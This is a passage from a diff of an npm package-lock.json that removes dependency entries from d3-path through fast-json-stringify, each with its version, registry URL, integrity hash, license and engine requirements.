"node_modules/d3-path": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", - "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", - "devOptional": true, - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-scale": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", - "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "d3-array": "2.10.0 - 3", - "d3-format": "1 - 3", - "d3-interpolate": "1.2.0 - 3", - "d3-time": "2.1.1 - 3", - "d3-time-format": "2 - 4" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-shape": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", - "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "d3-path": "^3.1.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-time": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", - "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "d3-array": "2 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-time-format": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", - "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "d3-time": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/dateformat": { - "version": "4.6.3", - "resolved": "https://registry.npmjs.org/dateformat/-/dateformat-4.6.3.tgz", - "integrity": "sha512-2P0p0pFGzHS5EMnhdxQi7aJN+iMheud0UhG4dlE1DLAlvL8JHjJJTX/CSm4JXwV0Ka5nGk3zC5mcb5bUQUxxMA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "*" - } - }, - "node_modules/debug": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "license": "MIT", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/deep-is": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", - "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/deepmerge-ts": { - "version": "7.1.5", - "resolved": "https://registry.npmjs.org/deepmerge-ts/-/deepmerge-ts-7.1.5.tgz", - "integrity": "sha512-HOJkrhaYsweh+W+e74Yn7YStZOilkoPb6fycpwNLKzSPtruFs48nYis0zy5yJz1+ktUhHxoRDJ27RQAWLIJVJw==", - "devOptional": true, - "license": "BSD-3-Clause", - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/defu": { - "version": "6.1.7", - "resolved": "https://registry.npmjs.org/defu/-/defu-6.1.7.tgz", - "integrity": "sha512-7z22QmUWiQ/2d0KkdYmANbRUVABpZ9SNYyH5vx6PZ+nE5bcC0l7uFvEfHlyld/HcGBFTL536ClDt3DEcSlEJAQ==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/delaunator": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/delaunator/-/delaunator-5.1.0.tgz", - "integrity": "sha512-AGrQ4QSgssa1NGmWmLPqN5NY2KajF5MqxetNEO+o0n3ZwZZeTmt7bBnvzHWrmkZFxGgr4HdyFgelzgi06otLuQ==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "robust-predicates": "^3.0.2" - } - }, - "node_modules/delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", - "license": "MIT", - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/denque": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/denque/-/denque-2.1.0.tgz", - "integrity": "sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw==", - "devOptional": true, - "license": "Apache-2.0", - "engines": { - "node": ">=0.10" - } - }, - "node_modules/depd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/dequal": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", - "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/destr": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/destr/-/destr-2.0.5.tgz", - "integrity": "sha512-ugFTXCtDZunbzasqBxrK93Ik/DRYsO6S/fedkWEMKqt04xZ4csmnmwGDBAb07QWNaGMAmnTIemsYZCksjATwsA==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/detect-libc": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", - "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", - "dev": true, - "license": "Apache-2.0", - "peer": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/dotenv": { - "version": "17.4.2", - "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-17.4.2.tgz", - "integrity": "sha512-nI4U3TottKAcAD9LLud4Cb7b2QztQMUEfHbvhTH09bqXTxnSie8WnjPALV/WMCrJZ6UV/qHJ6L03OqO3LcdYZw==", - "license": "BSD-2-Clause", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://dotenvx.com" - } - }, - "node_modules/dotenv-cli": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/dotenv-cli/-/dotenv-cli-11.0.0.tgz", - "integrity": "sha512-r5pA8idbk7GFWuHEU7trSTflWcdBpQEK+Aw17UrSHjS6CReuhrrPcyC3zcQBPQvhArRHnBo/h6eLH1fkCvNlww==", - "dev": true, - "license": "MIT", - "dependencies": { - "cross-spawn": "^7.0.6", - "dotenv": "^17.1.0", - "dotenv-expand": "^12.0.0", - "minimist": "^1.2.6" - }, - "bin": { - "dotenv": "cli.js" - } - }, - "node_modules/dotenv-expand": { - "version": "12.0.3", - "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-12.0.3.tgz", - "integrity": "sha512-uc47g4b+4k/M/SeaW1y4OApx+mtLWl92l5LMPP0GNXctZqELk+YGgOPIIC5elYmUH4OuoK3JLhuRUYegeySiFA==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "dotenv": "^16.4.5" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://dotenvx.com" - } - }, - "node_modules/dotenv-expand/node_modules/dotenv": { - "version": "16.6.1", - "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz", - "integrity": "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://dotenvx.com" - } - }, - "node_modules/dunder-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", - "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.1", - "es-errors": "^1.3.0", - "gopd": "^1.2.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/effect": { - "version": "3.20.0", - "resolved": "https://registry.npmjs.org/effect/-/effect-3.20.0.tgz", - "integrity": "sha512-qMLfDJscrNG8p/aw+IkT9W7fgj50Z4wG5bLBy0Txsxz8iUHjDIkOgO3SV0WZfnQbNG2VJYb0b+rDLMrhM4+Krw==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@standard-schema/spec": "^1.0.0", - "fast-check": "^3.23.1" - } - }, - "node_modules/elkjs": { - "version": "0.11.1", - "resolved": "https://registry.npmjs.org/elkjs/-/elkjs-0.11.1.tgz", - "integrity": "sha512-zxxR9k+rx5ktMwT/FwyLdPCrq7xN6e4VGGHH8hA01vVYKjTFik7nHOxBnAYtrgYUB1RpAiLvA1/U2YraWxyKKg==", - "devOptional": true, - "license": "EPL-2.0" - }, - "node_modules/empathic": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/empathic/-/empathic-2.0.0.tgz", - "integrity": "sha512-i6UzDscO/XfAcNYD75CfICkmfLedpyPDdozrLMmQc5ORaQcdMoc21OnlEylMIqI7U8eniKrPMxxtj8k0vhmJhA==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": ">=14" - } - }, - "node_modules/end-of-stream": { - "version": "1.4.5", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", - "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==", - "dev": true, - "license": "MIT", - "dependencies": { - "once": "^1.4.0" - } - }, - "node_modules/env-paths": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-3.0.0.tgz", - "integrity": "sha512-dtJUTepzMW3Lm/NPxRf3wP4642UWhjL2sQxc+ym2YMj1m/H2zDNQOlezafzkHwn6sMstjHTwG6iQQsctDW/b1A==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/es-define-property": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", - "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-errors": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", - "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-module-lexer": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.3.2.tgz", - "integrity": "sha512-poHGpORABojJJucnV9KbOavETW8lBVnphkW77ER5/BQ5Fz7oXSoCNek7IH3vR5nRjdsEz926ibFYX8KtLQmdyw==", - "dev": true, - "license": "MIT" - }, - "node_modules/es-object-atoms": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", - "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-set-tostringtag": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", - "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.6", - "has-tostringtag": "^1.0.2", - "hasown": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/esbuild": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.28.2.tgz", - "integrity": "sha512-HKVLS8dvII+xoKW9kmqxbRKrnWEXfJJr/FZhhJmiqIB0e053QNYFqOBouTMO/k5sID4MvCiUCvv8b9M4h32wIA==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "bin": { - "esbuild": "bin/esbuild" - }, - "engines": { - "node": ">=18" - }, - "optionalDependencies": { - "@esbuild/aix-ppc64": "0.28.2", - "@esbuild/android-arm": "0.28.2", - "@esbuild/android-arm64": "0.28.2", - "@esbuild/android-x64": "0.28.2", - "@esbuild/darwin-arm64": "0.28.2", - "@esbuild/darwin-x64": "0.28.2", - "@esbuild/freebsd-arm64": "0.28.2", - "@esbuild/freebsd-x64": "0.28.2", - "@esbuild/linux-arm": "0.28.2", - "@esbuild/linux-arm64": "0.28.2", - "@esbuild/linux-ia32": "0.28.2", - "@esbuild/linux-loong64": "0.28.2", - "@esbuild/linux-mips64el": "0.28.2", - "@esbuild/linux-ppc64": "0.28.2", - "@esbuild/linux-riscv64": "0.28.2", - "@esbuild/linux-s390x": "0.28.2", - "@esbuild/linux-x64": "0.28.2", - "@esbuild/netbsd-arm64": "0.28.2", - "@esbuild/netbsd-x64": "0.28.2", - "@esbuild/openbsd-arm64": "0.28.2", - "@esbuild/openbsd-x64": "0.28.2", - "@esbuild/openharmony-arm64": "0.28.2", - "@esbuild/sunos-x64": "0.28.2", - "@esbuild/win32-arm64": "0.28.2", - "@esbuild/win32-ia32": "0.28.2", - "@esbuild/win32-x64": "0.28.2" - } - }, - "node_modules/escape-html": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", - "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", - "license": "MIT" - }, - "node_modules/escape-string-regexp": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/eslint": { - "version": "10.10.0", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-10.10.0.tgz", - "integrity": "sha512-NPXn6r5zl4uET1DAVPaOwzX3rut4c0wcmw3dWJAfOsTM5+TogXo0DDjz8pwm/hL8cyVNpHqeK4JpN0NjnyFFNw==", - "dev": true, - "license": "MIT", - "workspaces": [ - "packages/*" - ], - "dependencies": { - "@eslint-community/eslint-utils": "^4.8.0", - "@eslint-community/regexpp": "^4.12.2", - "@eslint/config-array": "^0.23.5", - "@eslint/config-helpers": "^0.7.0", - "@eslint/core": "^1.2.1", - "@eslint/plugin-kit": "^0.7.3", - "@humanfs/node": "^0.16.6", - "@humanwhocodes/module-importer": "^1.0.1", - "@humanwhocodes/retry": "^0.4.2", - "@types/estree": "^1.0.6", - "ajv": "^6.14.0", - "cross-spawn": "^7.0.6", - "debug": "^4.3.2", - "escape-string-regexp": "^4.0.0", - "eslint-scope": "^9.1.2", - "eslint-visitor-keys": "^5.0.1", - "espree": "^11.2.0", - "esquery": "^1.7.0", - "esutils": "^2.0.2", - "fast-deep-equal": "^3.1.3", - "file-entry-cache": "11.1.5 || >11.1.6 <12", - "find-up": "^5.0.0", - "glob-parent": "^6.0.2", - "ignore": "^5.2.0", - "imurmurhash": "^0.1.4", - "is-glob": "^4.0.0", - "json-stable-stringify-without-jsonify": "^1.0.1", - "minimatch": "^10.2.5", - "natural-compare": "^1.4.0", - "optionator": "^0.9.3" - }, - "bin": { - "eslint": "bin/eslint.js" - }, - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - }, - "funding": { - "url": "https://eslint.org/donate" - }, - "peerDependencies": { - "jiti": "*" - }, - "peerDependenciesMeta": { - "jiti": { - "optional": true - } - } - }, - "node_modules/eslint-config-prettier": { - "version": "10.1.8", - "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-10.1.8.tgz", - "integrity": "sha512-82GZUjRS0p/jganf6q1rEO25VSoHH0hKPCTrgillPjdI/3bgBhAE1QzHrHTizjpRvy6pGAvKjDJtk2pF9NDq8w==", - "dev": true, - "license": "MIT", - "bin": { - "eslint-config-prettier": "bin/cli.js" - }, - "funding": { - "url": "https://opencollective.com/eslint-config-prettier" - }, - "peerDependencies": { - "eslint": ">=7.0.0" - } - }, - "node_modules/eslint-scope": { - "version": "9.1.2", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-9.1.2.tgz", - "integrity": "sha512-xS90H51cKw0jltxmvmHy2Iai1LIqrfbw57b79w/J7MfvDfkIkFZ+kj6zC3BjtUwh150HsSSdxXZcsuv72miDFQ==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "@types/esrecurse": "^4.3.1", - "@types/estree": "^1.0.8", - "esrecurse": "^4.3.0", - "estraverse": "^5.2.0" - }, - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/eslint-visitor-keys": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", - "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/espree": { - "version": "11.2.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-11.2.0.tgz", - "integrity": "sha512-7p3DrVEIopW1B1avAGLuCSh1jubc01H2JHc8B4qqGblmg5gI9yumBgACjWo4JlIc04ufug4xJ3SQI8HkS/Rgzw==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "acorn": "^8.16.0", - "acorn-jsx": "^5.3.2", - "eslint-visitor-keys": "^5.0.1" - }, - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/esquery": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", - "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "estraverse": "^5.1.0" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/esrecurse": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", - "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "estraverse": "^5.2.0" - }, - "engines": { - "node": ">=4.0" - } - }, - "node_modules/estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=4.0" - } - }, - "node_modules/estree-walker": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", - "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "^1.0.0" - } - }, - "node_modules/esutils": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", - "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/event-target-shim": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz", - "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/events": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", - "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", - "license": "MIT", - "engines": { - "node": ">=0.8.x" - } - }, - "node_modules/eventsource": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-4.1.1.tgz", - "integrity": "sha512-D6bTRWh6KahHTK/m4WnjPQyEinNPf9eFLEZSEoj7d6fTibspnAVYfzHvirL7u/aoX5d9YYfIkBVAhmigUELk9w==", - "license": "MIT", - "dependencies": { - "eventsource-parser": "^3.0.1" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/eventsource-parser": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.1.tgz", - "integrity": "sha512-EKN1vKAMcZ8MlYMpaNuxN6R9yakzH6uajHcHVTqWJzvu5pWw9DyhbP35HH8MVBQ+dZjAfDxk+A8NiR9KWaXiyQ==", - "license": "MIT", - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/expect-type": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.4.0.tgz", - "integrity": "sha512-KfYbmpRm0VbLjEvVa9yGwCi9GI34xvi7A/HXYWQO65CSD2u3MczUJSuwXKFIxlGsgBQizV9q5J9NHj4VG0n+pA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/exsolve": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/exsolve/-/exsolve-1.1.1.tgz", - "integrity": "sha512-9U/jZUgjnSGyntRr6y5Muu1MJcwFl6kPu7k8qLF0IMNfLqvw0NZ4nnVDq0RVoZ0RvCyumib4Ez3KYrVfilrw+g==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/fast-check": { - "version": "3.23.2", - "resolved": "https://registry.npmjs.org/fast-check/-/fast-check-3.23.2.tgz", - "integrity": "sha512-h5+1OzzfCC3Ef7VbtKdcv7zsstUQwUDlYpUTvjeUsJAssPgLn7QzbboPtL5ro04Mq0rPOsMzl7q5hIbRs2wD1A==", - "devOptional": true, - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/dubzzz" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fast-check" - } - ], - "license": "MIT", - "dependencies": { - "pure-rand": "^6.1.0" - }, - "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/fast-copy": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/fast-copy/-/fast-copy-4.1.1.tgz", - "integrity": "sha512-A4QTJmuiztpGtr6AMeJts9R4hbj2ZBUwtOaKrG6rw2y7t6+IaJKjz5M3XDs8BUznxDH43FVc6A0y/gWlMl4UtA==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-decode-uri-component": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/fast-decode-uri-component/-/fast-decode-uri-component-1.0.1.tgz", - "integrity": "sha512-WKgKWg5eUxvRZGwW8FvfbaH7AXSh2cL+3j5fMGzUMCxWBJ3dV3a7Wz8y2f/uQ0e3B6WmodD3oS54jTQ9HVTIIg==", - "license": "MIT" - }, - "node_modules/fast-deep-equal": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - "license": "MIT" - }, - "node_modules/fast-json-stable-stringify": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", - "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-json-stringify": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fast-json-stringify/-/fast-json-stringify-7.0.1.tgz", - "integrity": "sha512-eRSayARSbbwlBjpP4vnTTIRD5QPcIrmihPxDeN1DtKnHPg66UuJLx+8hlK1kaFdjvzyQ/dzALoi4vwAQ+T+iZA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "@fastify/merge-json-schemas": "^0.2.0", - "ajv": "^8.12.0", - "ajv-formats": "^3.0.1", - "fast-uri": "^4.0.0", - "json-schema-ref-resolver": "^3.0.0", - "rfdc": "^1.2.0" - } - }, - "node_modules/fast-json-stringify/node_modules/ajv": { - "version": "8.20.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", - "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.3", - "fast-uri": "^3.0.1", - "json-schema-traverse": "^1.0.0", - "require-from-string": "^2.0.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/fast-json-stringify/node_modules/ajv/node_modules/fast-uri": { - "version": "3.1.7", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.7.tgz", - "integrity": "sha512-dOvZVzjdZdz7phd9v6jCbwxrBW3fK6n8Rc0CtdmM4bumzMnxywBYhuph6J819RRw/ku+rLbelwfMunktuzVVHg==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "BSD-3-Clause" - }, - "node_modules/fast-json-stringify/node_modules/fast-uri": { - "version": "4.1.4", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-4.1.4.tgz", - "integrity": "sha512-dODXrIxlS9JSdgAnhIUKOosKV1oMtU2VtVw87QRaHzyl5jxO290Ii5tEZfCfzfWNHi3jKWwBSdQj0qIyshdZdQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "BSD-3-Clause" - }, - "node_modules/fast-json-stringify/node_modules/json-schema-traverse": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", - "license": "MIT" - }, - 